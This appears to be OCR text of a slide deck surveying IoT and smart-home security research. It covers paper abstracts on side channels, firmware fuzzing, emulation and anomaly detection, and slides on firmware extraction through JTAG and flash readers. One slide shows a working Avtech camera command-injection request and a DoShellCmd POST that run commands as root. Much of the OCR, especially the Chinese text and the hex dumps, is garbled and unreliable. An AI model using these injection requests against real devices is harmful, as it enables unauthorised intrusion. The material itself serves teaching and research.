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ou to understand loT markets

Total number of active devic

Number of global active Connections (installed base) in Bn
35+

ide

34.2

r_-: Non-loT

M o7

2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025

Note: Non-loT includes all mobile phones, tablets, PCs, laptops, and fixed line phones. loT includes all consumer and B2B devices connected — see loT break-down for further details
Source: loT Analytics Research 2018
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. Smart home, a concept of Internet of Things (loT)
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Control multiple devices and let them work together

Smart Home
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Hyppdnen’s law, and loT safety and security

Security expert Mikko Hypp&nen posited that ...

"Whenever an appliance is described
as being "smart", it's vulnerable.”

As everything that can be smart will be smart, and interact with

each other, they will become targets of adversaries.
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Smart Home Security

- Existing works mainly fall in to four categories
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Spying with Your Robot Vacuum Cleaner:
Eavesdropping via Lidar Sensors

Sriram Sami
Mational University of Singapore
srirams(@comp.nus.edu.sg

Nirupam Roy
University of Maryland, College Park
nirupam(@cs.umd.edu

ABSTRACT

Eavesdropping on private conversations is one of the most common
vet detrimental threats to privacy. A number of recent works have
explored side-channels on smart devices for recording sounds with-
out permission. This paper presents LidarPhone, a novel acoustic
side-channel attack through the lidar sensors equipped in popular
commodity robot vacuum cleaners. The core idea is to repurpose
the lidar to a laser-based microphone that can sense sounds from
subtle vibrations induced on nearby objects. LidarPhone carefully
processes and extracts traces of sound signals from inherently noisy
laser reflections to capture privacy sensitive information (such as
speech emitted by a victim's computer speaker as the victim is en-
gaged in a teleconferencing meeting; or known music clips from
television shows emitted by a victim's TV set, potentially leaking
the victim's political orientation or viewing preferences). We imple-
ment LidarPhone on a Xiaomi Roborock vacuum cleaning robot and
evaluate the feasibility of the attack through comprehensive real-
world experiments. We use the prototype to collect both spoken

Yimin Dai
National University of Singapore
e0505408@u.nus.edu

Sean Rui Xiang Tan
National University of Singapore
seantanr{@comp.nus.edu.sg

Jun Han
Mational University of Singapore
junhan@comp.nus.edu.sg

Victim's Home

b

|"l..|stemng wig udarsansar Remote Attacker

Figure 1: Figure depicts the LidarPhone attack, where the ad-
versary remotely exploits the lidar sensor equipped on a vice-
tim's robot vacuum cleaner to capture parts of privacy sensi-
tive conversation (e.g., credit card, bank account, and/or so-
cial security numbers) emitted through a computer speaker
as the victim engages in a teleconference meeting.
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1R, 72 {iE-Debug(JTAG)?

Ak

FE BN

i
Elle Edit View Target Options Window Help
K2 project-... [= | @[ | | [H Target memory (Entire flash chip) * =N =R = |
Name | valve bgdress: [0hB000000 [+ 2| ua
Connection USE [Device 0]
Target irterface  JTAG fddress | B (1 |2 [3[4|s |6 2[8 |9 a|B|c|p|E]|F |nsciI [«
) SAPAARG (88 PG B 2@ BD BB PP B8 35 B2 BA @8 37 @82 8@ A8 ... ....5...7... |
Inik JTAG speed 5 kHz 89PEP1A (39 P2 99 B8 3B 92 PO B8 3D O2 OO P8 0@ OO PO BB 9...;...=
JTAG speed Auto recagnition SRt EmesTmmmees
TAP number <ol useds SARAAZP (PR PP O PR PP DA PR OP OR PP OB @@ 3F A2 B0 A8
IFPre <nat used> $AAAP3A (41 P2 OGP @S M@ AR PA PP 43 B2 BA @8 45 P2 9@ A8
McL) ST STHIFIDZE 2APEA40 (D7 B8 G 9% D? B8 PA BB D7 P8 OGP @8 D? 08 B0 B8 . ... ... _......
Erdian Little SPPAPSA (D7 B8 O @8 D? B8 PO B8 D7 P8 OO @8 D7 B8 B0 BB ................
Check coreld  Yes 2APAAGA (D7 B8 AR @8 D? B8 PR B8 D7 B8 BA @8 D? B8 BA B8 . ... ... _......
£ Emel'd - 3*3BAUU4?7 8000878 |D? 98 @0 ©8 D7 ©8 0@ @8 D? ©8 0@ @8 D7 08 09 08
e & largel =53
) R addmse | D000 8ARAASA (D7 A8 GA @8 D? B8 PA B8 D7 P8 G@ @8 D? P8 @@ A8
2 = R size 64 KB 8ARAAYA (D7 B8 GA 98 D? B8 PA B8 D7 P8 OGP @8 D? A8 AO A8
. ] 8ARAPAA (D7 A8 GA @8 D? B8 PA B8 D7 P8 G@ @8 D? P8 @@ A8
i ﬂmgzmﬂ: ngsz;«E intemal | | spA@eRe |D? B8 B8 B D? O OO @8 D7 @8 GO @8 D7 68 60 Of
Sive 12 KE $ARARCA (D7 P8 BA W8 D? B8 PA B8 D7 B8 0P @8 D7 P8 @@ A8
Flash Id 40 SAPAADE (D7 P8 GF 9% D? B8 PA B8 D7 P8 OGP @8 D? 08 B0 08
gheckgzsh Id goanonouo SPPAAE® (D7 B8 GO 98 D? B8 PA B8 D7 B8 OB @8 D? 08 90 A8
ase address bt
Diganieation 3 bits #1 chip SAPAAFA (D7 B8 AR 9% D? @8 PA B8 D7 B8 B@ @8 D? B8 BA A8
8PPA1OG (D7 P8 OGP 98 D? B8 PA B8 D7 P8 OGP @8 D? 08 9O A8
8AAA11@ (D7 A8 GA @8 D? @8 PA B8 D7 P8 G@ @8 D? P8 @@ A8
< > ORRARA DR T R0 [RR R0 N R0 RER R0 N RO R[RR RO N RO &RR QR0
K] LOG
— JLink firmware: V120 (J-Link ARM VS compiled Jan 31 2018 18:34:52) o
— JTAG =peed: & kHz (Fixed
— Initializing CPU core (Init sequemce)
— Initialized successf
 ITAG speed. 4000 MHe (Aate)
— J-Link found 2 JTAG devices. Core ID: Ox3BAO04TT (Cortex—M3)
— Connected successf
Reading entire flash h
— 2566 sectors, 1 range, DxSUDUDUD — 0=x307FFFF
— EAM tested 0K
— Target memory read successfully. (524288 bytes, | range) — Completed after 0.559 sec
W

I A& e B E



‘_L B 3t B4 2EN
Eh I F0E-2 5 LA AEIR EL

Crack MCU Brand List

= Actel = Altera = AMD

= Atmel

= ChipON = Coreriver = Cygnal
= Cypress

= Dallas

= Elan

= Feeling = Freescale = Fujitsu
= Gould

= Holtek = Hynix = Hyundai
= Hitachi

m |CT s |CSI = Infineon

= [niel |55



‘_L B 3t B4 2EN

E<
Z

Alr

1

AR B RER?

2

BREZESE
|

"BRIEE"ETA?

m _tﬁﬁ% _Ei/J_*)-LEEZﬁfF:J:IE HY KEHLEA

BRI (MCU) —REEABEFEKNSEX (EFHE—) HAPFREFNLIESE (3
EFH—) . ATHILREEREEEN S FIAIARER, XBsaRNEsaNSiea
BENEFT, LURIPRRER.

INEREEREMNSESHEMBEERE (FiE) R TERSERESEEENERTIRNER,
EﬁM%HMM%Q(wa&EHME$H$LﬁﬁT?HHm¢,k%ﬁﬁﬁﬁﬁﬂam
BIFlash ERI¥EMEE IS BFirmware X, NMESHEREETINS)

BhRINLEENTRRERESHRE, FARRNGHRT EARRSREARIE, Bid
EMEATE, HULNWGHRPERXESE, FRaRREFXFEMERTES

2.1 SEIE

2.2 BFFNSE

2.3 HdEFERR

24 REBA BRNBESE EARBZEE SANBSENSEY




‘_h B 3t B4 2EN

= TEINEE




i Bt B4 2EY

s TEANFE-EEFFN-ETIE

ATl
{F7F
g
B1:H Cancel

RT809%H a2

M TE S#ixR
SN:20180422190109-051490 | 2%



‘_h B 3t B4 2EN

» TENFE-BEHE-

!

o s

iFix oo
prog |

XHE B|HED EBEE
RGOS SmartiD
iXH] Read
{#7F Save
17 Open
B\ Write
1tz Verify
{285 Erase
FRiEN B

{#1R Protect
EL# Cancel

RT809H Hizxe

SN:20180422190109-051490

LV EEN IBEQL =|EH BEFx

ISPEZhES| AutolSP MK Buffer T E#imtR Toolchain
WAGHENE
| MT29F64G08CBAAA@TSOP48

&
[T —

051: TotalPageNum: 0x100,PageNuminBlock: 64 PageSize: 0

052: Bz BIE 1M IDIEFAIRE -

053: http:/iwww.ifix.net.cnithread-53859-1-2. html

054: oREL RSB R hERE, o BN SRR TR RhEE.

055: LfFifpfi%: MT29F64G0SCBAAA@TSOP48, ZE: 69120Mfii, 8640M=EFo
056: #&iE@ERIE: RT-TSOP48-1, 0.5, 12*18, Pinto Pin

057: ETETHSHRIEEE ...

058: EAEHAkI -

OK:
060: 3|§MEMIZN{E}0x8FSEF10799C0, 2{FE2{EH0xF18F00799C00
061: SIRMHERIRIF -
062: TotalPageNum: Ox100000,PageNuminBlock: 256 PageSize: 8640
083: ;&5 IDHRIS IE 7
064: C:\Users\dushu\Desktop\MT29F64G08CBAAA@TSOP48_1831\MT29F64G08CBA
065: FHEEGE ..

HRENTE SR BOTED HEEE
2% ]




S5 A = 53 #r- B {5 1= EY
- HERTEEBEHRH 0T

P Annotations
|
OXFF OxFF OxFF OxEA 0x83 0x6C OxA1 Ox7E 0x6D Lt Analyzers
i 1 s
0X031 [OXDAN  [OXFA @ Time [s], Packet ID, MOSI,MISO  E
1l 11 0.006840500000000,, OxFF
0.006846500000000,, OxFF
0.006852666666667,, ,OxFF
| 0.006858750000000,,0xC 7 OXFF  [[I | v pecoded Protocols

- 0.006864916666667,,0xFF,

V]
o
)
I

Bat A TR B ) S . 0.006870916666667,,0xFF,

1 FC 4 ‘ 3 [ Z2ei ar #1a  0.006876916666667,0xFF, NSO IISG: 65
FLi 0.006882916666667,,0%FF, MOSI:{0X0A; [MISO: OXFF
i 0.006888916666667,,0xFF, 0x37 MOSI0XFA; MISO: OxFF

w
(@]

~J
] o

(re)
oW
o

OS]
w U

ool
1

B W 0, W WY
o

H w
o WO Wi

P OO O oW RERNO R

Sy

o

/P . aUte¥%6. "©F

o3}
)

MOSIi0xC4; IMISO: OxFF

0.006894916666667,,0xFF, OXEA e gl
0.006900916666667,,0xFF, 0x83 bisneai i) S
0.006906916666667,,0xFF, 0x6C MOSI: OXFF; MISO: OxSF
0.006912916666667,,0%FF, MOSI: OXFF; MISO:[0x2E
0.006918916666667,,0xFF, MG CBE MSCHONAY,
bl
0.006930916666667,,0xFF, MOSI: OXFF: MISO:0X6C

MOSI: OxFF; MISO: OxA1
Q= Capture » MOSI: OxFF; MISO: Ox7E

QW o
w oW O

(5= s B O
AWM PP W N o

H

oo w0

O 0

oW U oo

Qo O

o0

[
k
s W

0 ™
wn 5
o}

o

L ey I R B
'S
o

2 WM
o OO mMEOWo oW

[
- W0
w O
o

B 0O Wdw 00w

)

MO Wwmes o al0

)

w
] <3 on o

w o

JONDOo O DD on

4

mob ooy o N

W O Wwon O -J i
I c 5
O o

[T S
w oo we M

B W 0O
W o

-] W0
Mo Mm
~J

I IS IRV TV B Y ST Vo s BT}
TN B WO ;e

oy N

O @

PO WE M >,
)|

1o s oW

L ¢ Be I e Y

1 B W o,

L < B

oo
IO~

1=

1 © @

4103 /1635 /28 /ASCIIBE XN BB E R, F EMRE SR
5. RIFMIES BITIE AT SH, B EFER R TSR ER




‘_L Bt B4 2EY
s AN

7. TAEaRZ MEEam<THITRIE

E— : iIBE@EI CloudSetup.cgizziFAvtech=iRS , HFEFNEET Z/G , B8 ES30H T
SiE , ATLEI exefile2EArooti RBVT{ES S =X

http://<device_ip>/fcgi-bin/supervisor/CloudSetup.cgitexefile=ps

B - SRR BActionDERS |, i@idadcommand.cgiS{4SCH | IhRAIESERActionDIRH T
DoShellCmdIhgE , ITEABBIT ZfG , BFHEEx280HT50E , oI rootf R =S, Ib
TheeEE L post AL , ErhcookiethJSSID AP EFIZEIIbase64{E.

POST fcgi-bin/supervisor/fadcommand.cgi HTTP/1.1
Host: <dewvice ip>

Content-Length: 23

Cookie: SSID=YWRtaW46YWRtaWd=

DosShellCmd “strCmd=ps&"
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An Empirical Study on ARM Disassembly Tools
Muhui Jiang, Yajin Zhou, Xiapu Luo, Ruoyu Wang, Yang Liu, Kui Ren

ISSTA 2020

With the increasing popularity of embedded and mobile devices, ARM is becoming the
dominant architecture in them. Accordingly, there is a pressing need to perform security
assessments to these devices. Due to the fragmentation, it is an ongoing research question
to dynamically run the systems of these devices (or the firmware) in an emulated
environment. Mainly due to this, the static analysis approach is still a commonly used way.
In particular, existing works usually leverage off-the-shelf disassembly tools to disassemble
stripped (ARM) binaries, and assume that reliably disassembling them and identifying
functions are solved problems. However, whether this assumption holds for real world ARM
binaries is unknown.

In this paper, we conduct a comprehensive study on ARM disassembly tools. Specifically,
we build 1,896 ARM binaries (including 248 obfuscated ones) with different compilers,
compiling options, and obfuscation methods. Using these binaries, we then evaluate eight
state-of-the-art ARM disassembly tools (including both commercial and noncommercial
ones) on their capabilities to locate instruction and function boundaries. These two
primitives are fundamental ones and could be leveraged to build other primitives. Based on
our evaluation, we present observations that were not systematically summarized and/or
confirmed previously. For instance, we find that the existence of both the ARM and the
Thumb Instruction sets, and the reuse of the BL instruction for both direct function call and
direct branch bring serious challenges to disassembly tools. Our evaluation sheds light on
the limitations of the state-of-the-art disassembly tools and points out potential directions to
improve them. To engage the community, we will publicly release the compiled ARNM
binaries, the retrieved ground truth, and the result.
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gcc-x64-00 clang-arm-O3
Model Binary2Source Source2Binary Binary2Source  Source2Binary
BinPro 38.6/41.1 39.2/41.8 39.4/42.1 39.7/42.4
B2SFinder 34.1/39.6 34.4/39.8 33.5/39.2 34.2/39.5
TextCNN + HBMP 54.3/84.7 54.7/85.1 48.8/82.5 49.3/82.8
LSTM + HBMP 63.7 /894 63.9/88.7 60.2 /86.9 60.6 / 87.3
DPCNN + Word2vec 69.2/91.0 69.6 /90.7 63.6/ 88.3 64.0/ 88.5
DPCNN + BERT 74.3/93.9 74.5/94.0 66.1/89.0 66.5/89.5
DPCNN + HBMP 80.8 /96.4 81.2/96.6 72.9/91.2 73.2/92.1
Hungarian (Integer) 9.0/15.6 11.6/17.7 7.7/7/14.3 10.4/17.3
LSTM (Integer) 10.7/17.9 13.0/19.0 89/152 10.9/18.6
Integer-LSTM (Integer) 123/19.4 15.5/23.2 11.5/717.1 12.2/720.7
Hungarian (String) 33.9/354 34.0/35.5 35.6/36.2 35.8/37.3
Hier-LSTM (String) 42.4/44.5 42.8/45.1 45.0/46.9 45.5/48.7
Random 81.9/97.3 82.3/98.0 74.2/92.0 74.8/92.6
Distance-Weight 86.2/97.4 86.5/97.8 77471943 78.2/94.7
Norm-Weight (s = 0.5) 85.3/97.2 85.4/97.5 76.9/93.4 77.5/93.6
Norm-Weight (s = 2) 89.0/97.9 89.1/98.2 81.2/95.1 82.5/954
Norm-Weight (s = 5) 90.2/98.3 90.3/98.5 87.3/97.5 87.7/97.9
i O B UFFFFFFFFR -} l\ i J I\h — -)

| {ravinyu, dedgetang, snie, shiwu}l@tencent.com {zwx9810, yakkiwal@gmail.com |
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= Code Review (10%7?)
= Static analysis

= Dynamic Analysis

= Taint Analysis

= Symbolic Execution
= Model Checking

= Fuzzing (807?)
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= Avatar: A framework to support dynamic

security analysis of embedded systems’
firmwares, NDSS 2014

s FOOR: H4EH, IS0, ST, N7 R
WSS IE O, SR

» B —MEZR, BEREHFHESESSEG—E
RHE, ATUATHRANN IR ZFHITE RS 7. 15
SHEERERMBINIT, INERFIOHNZ AT ERHE,
RIFRRE NSRS TIENR, WReER, 3
, FFEHITS,
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= Firmalice-Automatic Detection of Authentication

Bypass Vulnerabilities in Binary Firmware, NDSS

2015

» BOKN: BRSO, BMath, BEE, Zi#HH, ETHS
MITAIZEFY A

» B2 T —NMER, ATRNETHFSMITHIZER
Y1/ 89 il [E 4 A H’J%ﬁﬂﬂﬁ XiLimiE (/I .
SlFERABRSTITREERMEARTE, ARRBMAANOSE]
FeIfENTFNRIENERNREFYIR, MAMFSMITSI
EH BT INER. M, EXBARKES
SESEN-A
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= Scalable graph-based bug search for firmware

Images, ACM CCS 2016
= TR ETRESH; ETEN
) BRSSPI A

JLAEC (X1

S FRATE

= RV BHCFGH#MASRY FIFIERE, XIS M

RIS BT E 5.
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= loTFuzzer: Discovering Memory Corruptions in
loT Through App-based Fuzzing, NDSS 2018

s RN BIESS \7{)? T4 ‘EJZEI’J*%#&H/)JJI‘E, R
;E H [B) X 4ZHY — %UI#F Eofuzz, BT

Eappis Sfuzz

» B BRZXEMMARENZRE, SEMS
BIRER . 4T Android Rz FBFE R ARSI 40 Bk
wEHSRNEFEHEXNRE. BEIRTENATE
FFR R R, B T T,
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= FIRM-AFL: High-Throughput Greybox Fuzzing of
loT Firmware via Augmented Process Emulation,
USENIX Security 2019
» K B mth, BETEREEfuzz, Z5&AFLFIFirmadyne
» RV —METTRKME G RESERMNATEE. &
HEAPERXEUSEPEITEIMEFHEBREF AR A
B EREHFRHMERN RS BARYIRE £ RS IE M8 R SE
HEEMEEHNER. XM T/EFRRT HaEMmm. B2
Firm-AFL I ET BN EFNESEE, L ERF lEﬂ
ENER
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= P2IM: Scalable and hardware-independent
firmware testing via automatic peripheral interface
modeling, USENIX Security 2020
= FOK: EfSath, BEHERI, SR
o S SEIRSI TR REEHFMIN. HRT &

Mong, HETEA
P2IM FofR SN 1T FA
EZMMEIRANILF o
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= Sharing More and Checking Less: Leveraging

Common Input Keywords to Detect Bugs Iin

Embedded Systems, USENIX Security 2021

= AR FIHRRREZEXCEFIEATEDHABRAE,
PERAFSHITERE

» B ETRIRimEZXREFRIESRBIZHR. Bimi
A->FimE¥E->RCERIE. 18Aid X5 F SRR IR
MiEimtiEiZYE, MNMEARIEMALZRIE.
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CRYPTOREX: Large-scale Analysis of Cryptographic Misuse in IoT Devices

Li Zhang*, Jiongyi Chen®, Wenrui Diao* 3= Shanqging Guo*®, Jian Weng*, and Kehuan Zhang"
«Jinan University, {zhanglikernel, cryptjweng}@gmail.com
TThe Chinese University of Hong Kong, {cj015, khzhang}@ie.cuhk.edu.hk
tKey Laboratory of Cryptologic Technology and Information Security, Ministry of Education,
Shandong University, {diaowenrui, guoshanging}@sdu.edu.cn
§School of Cyber Science and Technology, Shandong University

USENIX Association 22nd International Symposium on Research in Attacks, Intrusions and Defenses




EFmiRIEE (Fuzzing)

loT fuzzing

o 2020 - ARM-AFL: Coverage-Guided Fuzzing Framework for ARM-Based loT Devices

o 2020 - Bug detection in embedded environments by fuzzing and symbolic execution

o 2020 - FirmXRay: Detecting Blustooth Link Layer Vulnerabilities From Bare-Metal Firmware

o 2020 - EM-Fuzz: Augmented Firmware Fuzzing via Memory Checking

o 2020 - Verification of Embedded Binaries using Coverage-guided Fuzzing with System C-based Virtual Prototy
o 2020 - DICE: Automatic Emulation of DMA Input Channels for Dynamic Firmware Analysis

e 2020 - Fw-fuzz: A code coverage-guided fuzzing framewaork for network protocols on firmware

o 2020 - TAINT-DRIVEN FIRMWARE FUZZING OF EMBEDDED 5YSTEMS THESIS

o 2020 - A Dynamic Instrumentation Technology for loT Devices

o 2020 - Vulcan: a state-aware fuzzing tool for wear O5 ecosystem

o 2020 - A Nowvel Concolic Execution Approach on Embedded Device

o 2020 - HFuzz: Towards automatic fuzzing testing of NE-loT core network protocols implementations
o 2020 - FIRMCORM: Vulnerability-Orientaed Fuzzing of loT Firmware via Optimized Virtual Execution

o 2018 - loTRuzzer: Discovering Memory Corruptions in 1oT Through App-based Fuzzing

o 2017 - Towards Automated Dynamic Analysis for Linux-based Embedded Firmware

o 2016 - Scalable Graph-based Bug Search for Firmware Images

o 2015 - SURROGATES: Enabling Near-Real-Time Dynamic Analyses of Embedded Systems

o 2015 - Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware

o 2014 - A Large-5cale Analysis of the Security of Embedded Firmwares

| ¢ 2013 - RPFuzzer: A Framework for Discovering Router Protocols Vulnerakbilities Based on Fuzzing

& https://github.com/Oxricksanchez/paper collection
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n ZEIR IR
= A Survey of Security Vulnerability Analysis, Discovery,

Detection, and Mitigation on 10T Devices, Future
Internet, 2020

= Automatic Vulnerability Detection in Embedded Devices
and Firmware: Survey and Layered Taxonomies, ACM
Computing Surveys, 2021

= HEK

5| RERENMRER, EREEFR, 2021

» RARNKFEHZED RS, 1HEHLFHR, 2021
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= ACM Computing Surveys, 54 (1): 1-36

Challenges in Firmware Re-Hosting, Emulation,

and Analysis

CHRISTOPHER WRIGHT, Purdue University

WILLIAM A. MOEGLEIN, Sandia National Laboratories

SAURABH BAGCHI and MILIND KULKARNI, Purdue University
ABRAHAM A. CLEMENTS, Sandia National Laboratories

System emulation and firmware re-hosting have become popular techniques to answer various security and
performance related questions, such as determining whether a firmware contain security vulnerabilities or
meet timing requirements when run on a specific hardware platform. While this motivation for emulation
and binary analysis has previously been explored and reported, starting to either work or research in the field
is difficult. To this end, we provide a comprehensive guide for the practitioner or system emulation researcher.
We layout common challenges faced during firmware re-hosting, explaining successive steps and surveying
common tools used to overcome these challenges. We provide classification techniques on five different axes,
including emulator methods, system type, fidelity, emulator purpose, and control. These classifications and
comparison criteria enable the practitioner to determine the appropriate tool for emulation. We use our clas-
sificalions W calegorize popular works in the feld and present 28 comunon challenges faced when crealing,

emulating, and analyzing a system from obtaining firmwares to post emulation analysis.
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Framework, NOT Tools

o EFl Fuzzer e Decoder VAC3 Emulator
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Filelnsight hex editor for malware analysis - s
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Binary Fuzzer loT Fuzzer Malware Sandbox CTF Solver 10§ Emulator Binary Decrypt

Qiling Framework

CPU :

Instrumentation (Qiling’s API)
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s UEMU

Automatic Firmware

Wei

I National Computer Netw
N
ICollege of Info

3School of (

Abstract

Emulating firmware for microcontrollers is challenging due
to the tight coupling between the hardware and firmware.
This has greatly impeded the application of dynamic analysis
tools to firmware analysis. The state-of-the-art work auto-
matically models unknown peripherals by observing their
access patterns, and then leverages heuristics to calculate the
appropriate responses when unknown peripheral registers are
accessed. However, we empirically found that this approach
and the corresponding heuristics are frequently isufficient to
emulate firmware. In this work, we propose a new approach
called uEmu to emulate firmware with unknown peripherals.
Unlike existing work that attempts to build a general model
foreach pernipheral, our approach learns how to correctly emu-
late firmware execution at individual peripheral access points.
It takes the image as input and symbolically executes it by
representing unknown peripheral registers as symbols. During
svmbolic execution, it infers the rules to respond to unknown
peripheral accesses. These rules are stored in a knowledge
base, which 1s referred to during the dynamic firmware analy-
si5. pFmu achieved a passing rate of 93% in a set of unit tests
for peripheral drivers without any manual assistance. We also
evaluated uEmu with real-world firmware samples and new
bugs were discovered.

ence

Security '21

USENIX 30th USENIX Security Symposium
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s UFO: US BlackHat 2020

+JUFO? A Security Verification Tool for loFDEVicel Fifmware - 2.5, . « . ‘a8
2018 IEEE International Symposium on Software Reliability Engineering Workshops

UFO - Hidden Backdoor Discovery and Security
Verification 1n IoT Device Firmware

Chin-Wei Tien'* Tsung-Ta Tsail Ing-Yi Chen? Sy-Yen Kuo?

Cybersecurity Technology Institute, Institute for Information Industry*
Department of Electrical Engineering, National Taiwan University*
Department of Computer Science and Information Engineering, National Taipei University of Technology®
Taipei, Taiwan R.0.C.

- Cracked Passwords and Certificates Review: Check IT your passwords or certificates are vulnerable.

- Shell Dependency Backdoor Paths: Produces a visual guide of backdoor paths.
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J. Waiting § Aicloud receives device registration. 1 Waiting ({1app sends WiFi credential to device. d h {({Device replies with its basic information.
-l I_r'ng for iCloud recaives binding reguest fom -wal !n_g ar icloud replies with the device ID. 1.5earching (Fcioud binds the device with user.
Device 3pp or device. WiFi (Zicloud accepts device binding request. for Device i@cloud synchronizes device login status.
Registration Ficloud recaives unbinding request Connection (Eicloud accepts device login request. @icloud synchronizes device disconnact
_ from app or device. | @icloud loses connection with device. status.
'1: !é)cluud receives device k:.gin requast. | & @ @USEFFHJShE- the reset button. ! I.'Edaud revakes the bindiﬂg rel atinnship
i ™ Device disconnacts with cloud. I r - k' loud sends control commands 1o beteween device and user.
o {&¥pevice uploads its status to clowd. NE Waiting for avice | _ oud synchronizes device status.
2 Waiting for % L . - & | 2. Waiting for 5
Binding | Device o/ Binding )
| Binding
R i - | ' | ~ ! - —
o @ @ @ | D I/‘“_ &,
3. Waiting for 3 Waiting for | \ 3 Waiting for )
. - 4 Runnin ; 4 Rurnnin . . 4 Runnin
Device Login g Connection ~ £ Device Online ~ g
| h—a
| — e
States Description States Description States Description
Waiting for Ihe cloud 15 in the initial state and Waiting for The device waits for discovery Sear-“hlng for The mobile app keeps broadcasting

Device walts for davice registration

Regustration

reqjuast

Waiting for The cloud waits for binding request Waiting for The device sends register requests Waitina far [he mobile app sends binding
Binding from the mobils app or device, Jevice 10V iding requeast to the cloud, and Bu-udig. requast to cloud or device, and

Waiting for After binding the device with user, Binding waits for cloud response waits for binding confirmation
alting 1c the cloud waits for device login Waiting for Device keeps sending login regueast Waiting for The mobile app waits for cloud to

Dewica Login
Y raquast

The cloud handles user's requeasts

Rurnnimn
. and syncs the dewice status

message and WiF credential from
d

WIFI
Connaction

discovery message to search fior

S
vevice available davice

Cn'lnect o o -QE‘[ connacthicon 'fn;}rn l;'.|l:_.'lL,Id
Davice keeps a connection with

cloud and waits for new commands

Running

(a) State Machine of an loT Cloud

(b State Machine of a Device

Dewvice Onlina

bBuild connection with dewca

After device logs into the cloud, tha
mabile app recanes user's
instructions to the device via LI

Running

() State Machine of a Mobile App

Mote: The states and transitions specific to Type I platforms are shown in red; the states and transitions specific to Type I7 platforms are shown in blue; and the
shared states/transitions are in black.

Figure 2: High-Level State Machines of the Three Entities

28th USENIX Security Symposium 1133
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“It’s the Company, the Government, You
Responsibility for Smart Home P

Julie Haney*, Yasemin Acar*’, and §
*National Institute of Standards and Technology;
{julie haney, susanne. furmanj@nist.gov; ad

USENIX Security 2021

Abstract

Smart home technology may expose adopters to increased
risk to network security, information privacy, and physical
safety. However, users may lack understanding of the privacy
and security implications. Additionally, manufacturers often
fail to provide transparency and configuration options, and
few government-provided guidelines have yet to be widely
adopted. This results in little meaningful mitigation action to
protect users’ security and privacy. But how can this situation
be improved and by whom? It is currently unclear where per-
ceived responsibility for smart home privacy and security lies.
To address this gap, we conducted an in-depth interview study
of 40 smart home adopters to explore where they assign re-
sponsibility and how their perceptions of responsibility relate
to their concerns and mitigations. Results reveal that partici-
pants’ perceptions of responsibility reflect an interdependent
relationship between consumers, manufacturers, and third par-
ties such as the government. However, perceived breakdowns
and gaps in the relationship result in users being concerned
about their security and privacy. Based on our results, we sug-
gest ways in which these actors can address gaps and better
support each other.
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How to increase security and reliability of [oT Apps and their interaction?

loT Safety and Security

" Soteria: Automated loT Safety and Security Analysis [USENIX Annual Technical Conference, 2018] Z. Berkay Celik,
. Patrick McDaniel, and Gang Tan

" l1oTGuard: Dynamic Enforcement of Safety and Security Policy in Commodity loT [NDSS, 2019] Z. Berkay Celik, Gang
Tan, and Patrick McDaniel

loT Privacy

" Saint: Sensitive Information Tracking in Commodity loT [USENIX Security, 2018] Z. Berkay Celik, Leo Babun, Amit
Sikder, Hidayet Aksu, Gang Tan, Patrick McDaniel, and Selcuk Uluagac

loT Fault Tolerance

i lotRepair: Systematically Addressing Device Faults in Commodity loT [Ongoing work] Michael Norris, Z. Berkay Celik,
| Prasanna Venkatesh, Shulin Zhao, Gang Tan, Patrick McDaniel, and Anand Sivasubramaniam

DUIVeys:

[ Program Analysis of loT Applications for Security and Privacy: Challenges and Opportunities [ACM Computing
| Surveys, 2019] Z. Berkay Celik, Earlence Fernandes, Eric Pauley, Gang Tan, and Patrick McDaniel

-

Verifying Internet of Things Safety and Security in Physical Spaces [IEEE S&P magazine, 2019] Z. Berkay Celik, Patrick
| McDaniel, Gang Tan, Leo Babun, Salcuk Uluagac

Gang Tan, CSE, Penn State
Nov 15th, 2019
@ 2" |oT Security and Privacy Workshop
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Semantic Ann]yms:
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Adjacency De‘u'ifi_?
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Event Contextual _ |Consequential Device S
Stream [ | Checking [ | Checking evice States
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Y Alarms !

Anumal}' Detection

Figure 4: Architecture of HAWatcher.

USENIX

Security 2021

Abstract

ces are integrated via automation and coupled
1ysical environment, anomalies in an appified
» whether due to attacks or device malfunctions,
severe consequences. Prior works that utilize data
iniques to detect anomalies suffer from high false
and missing many real anomalies. Our observa-
lata mining-based approaches miss a large chunk
.on about automation programs (also called smart
levices. We propose Home Automation Watcher
r), a semantics-aware anomaly detection system
smart homes. HAWatcher models a smart home’s
:aviors based on both event logs and semantics.
me, HAWatcher generates hypothetical correla-
ling to semantic information, such as apps, device
lons and installation locations, and verifies them
logs. The mined correlations are refined using
s extracted from the installed smart apps. The
-elations are used by a Shadow Execution engine

to simulate the smart home’s normal behaviors. During run-
lime, inconsistencies between devices’ real-world states and
simulated states are reported as anomalies. We evaluate our
prototype on the SmartThings platform in four real-world
testbeds and test it against totally 62 different anomaly cases.
The results show that HAWatcher achieves high accuracy,
significantly outperforming prior approaches.
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Abstract—Network protocol reverse engineering is an impor-

TABLE V: Evaluation of format inference

Protocol Netzob Discoverer | NETPLIER
Corr. | Perf. | Corr. | Perf. | Corr. | Perf.

DHCP 0.089 | 0.000 |0.768 | 0.016 | 0.994 | 0.014
DNP3 0.702 [ 0.099 |0.486 | 0.018 | 0.752 | 0.183
FTP 1.000 | 1.000 | 1.000 | 1.000 | 1.000 | 1.000
ICMP 0.5710.144 | 0.259 1 0.102 |1 0.972 | 0.090
Modbus [ 0.587 | 0.084 | 0.344 | 0.049 | 0.698 | 0.049
NTP 0.830 | 0.000 | 0.661 | 0.000 | 0.851 | 0.000
SMB 0.660 [ 0.152 | 0.608 | 0.207 | 0.964 | 0.237
SMB2 0.349 | 0.003 | 0.793 | 0.041 | 0.923 | 0.069
TFTP 0.666 | 0.454 | 0.147 | 0.000 | 0.986 | 0.009
ZeroAccess | N/A | N/A | 0.155 ] 0.000 | 0.980 | 0.000

per fection =

Number of accurate fields

Number of total true fields

rurity applications. A popular Kind

licnment and/or tokenization. They
1 as difficulties of handling a large
ng with inherent uncertainty. In this
phabilistic method for network trace
rering. It first makes use of multiple
all messages and then reduces the
ryword field from the set of aligned
ermines the type of a message. The
using random variables to indicate
(being the true keyword). A joint
among the random variables and
ages. Probabilistic inference is then

most likely keyword field, which
ly clustered by their true types and
age format and state machine. Our
pws that our technique substantially
art and our case studies show the

fechnique in IoT protocol reverse

engineering and malware analysis.

'k message traces. These methods ]




i l0T App$3Hf

. TR
. SHfADD (RIERISREHXMIDS, F
FEZRIMES, 58E. ZHOEEDY
RBHMBFTAES %) REIIRE A0
S5

Wk -




i loTIZEINER

o BT (KHTE) RNERRE. ZBERE (BF
